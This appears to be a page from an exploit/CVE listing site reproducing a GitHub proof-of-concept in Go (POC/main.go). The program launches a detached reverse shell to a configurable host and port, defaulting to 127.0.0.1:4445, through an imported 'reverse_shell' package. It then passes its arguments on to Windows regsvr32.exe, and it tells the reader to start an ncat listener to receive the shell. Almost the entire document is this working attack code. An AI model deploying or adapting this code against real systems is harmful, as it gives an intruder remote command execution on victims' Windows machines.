4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / main.go GO
package main

import (
	"fmt"
	"log"
	"os"
	"os/exec"
	"strconv"

	winbind "github.com/Vr00mm/sysproc/reverse_shell"
)

func runDetachedShell(args []string) {
	if len(args) < 3 {
		log.Printf("Invalid arguments for detached shell: %v", args)
		return
	}

	host := args[2]
	port, err := strconv.Atoi(args[3])
	if err != nil {
		log.Printf("Invalid port: %s", args[3])
		return
	}

	winbind.ExecuteDetachedShell(host, port)
}

func executeAndWait(cmdArgs []string) {
	log.Printf("Executing and waiting: %v", cmdArgs)

	cmd := exec.Command(cmdArgs[0], cmdArgs[1:]...)
	err := cmd.Run()

	if err != nil {
		log.Printf("ERROR: Command execution failed: %v", err)
	} else {
		log.Printf("Command executed successfully")
	}
}

func main() {
	// Check if we're being run as a detached shell process
	if len(os.Args) > 1 && os.Args[1] == "DETACHED_SHELL" {
		runDetachedShell(os.Args)
		return
	}

	fmt.Println("Creating detached reverse shell...")
	fmt.Println("Host: 127.0.0.1")
	fmt.Println("Port: 4445")

	fmt.Println()

	err := winbind.CreateReverseShell("127.0.0.1", 4445)
	if err != nil {
		log.Printf("Failed to start detached reverse shell: %v", err)
	} else {
		fmt.Println("SUCCESS: Detached reverse shell process started!")
		fmt.Println("To test: Run 'ncat -tnlp 4445' in another terminal")
		fmt.Println("Check Task Manager - you should see a separate instance of this app running")
	}

	if len(os.Args) > 1 {
		log.Printf("Executing regsvr32 with args: %v", os.Args[1:])
		executeAndWait(append([]string{"C:\\Windows\\System32\\regsvr32.exe"}, os.Args[1:]...))
	}

}